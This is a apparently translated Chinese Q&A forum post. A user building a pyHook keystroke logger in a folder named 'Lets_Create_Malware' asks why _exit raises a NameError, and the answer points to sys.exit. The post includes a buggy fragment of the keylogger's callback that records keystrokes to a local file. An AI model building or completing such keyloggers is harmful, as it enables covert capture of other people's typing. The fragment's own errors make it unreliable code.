python 的错误，即使我包含库

Question

我有基于YouTube视频的Python代码

当我输入 Ctrl-E 退出时，即使我包含 sys 库，我也会收到错误Traceback (most recent call last): File "C:Python27libsite-packagespyHookHookManager.py", line 351, in KeyboardSwitch return func(event) File "C:/Lets_Create_Malware/keyz.pyw", line 21, in OnKeyboardEvent _exit(1) NameError: global name '_exit' is not defined。

我快要为此发疯了。这是我记录的代码。任何帮助都非常感谢。

#exit script that uses ASCII value 5 to end program
#ASCII value 5 is same as Ctrl-E

    if event.Ascii == 5:
        _exit(1)
    #if input is not null or backspace, record input
    if event.Ascii != 5:

        f=open('c:\Lets_Create_Malware\output.txt', 'w+')
        buffer=f.read()
        f.close
        #re-open log file, this time you can write to it

        keylogs=chr(event.Ascii)

        #append variable keylogs to variable buffer

要在 python 中使用导入的模块，您必须按module.method从模块调用该方法，因此您应该sys.exit(1)不要_exit(1)。
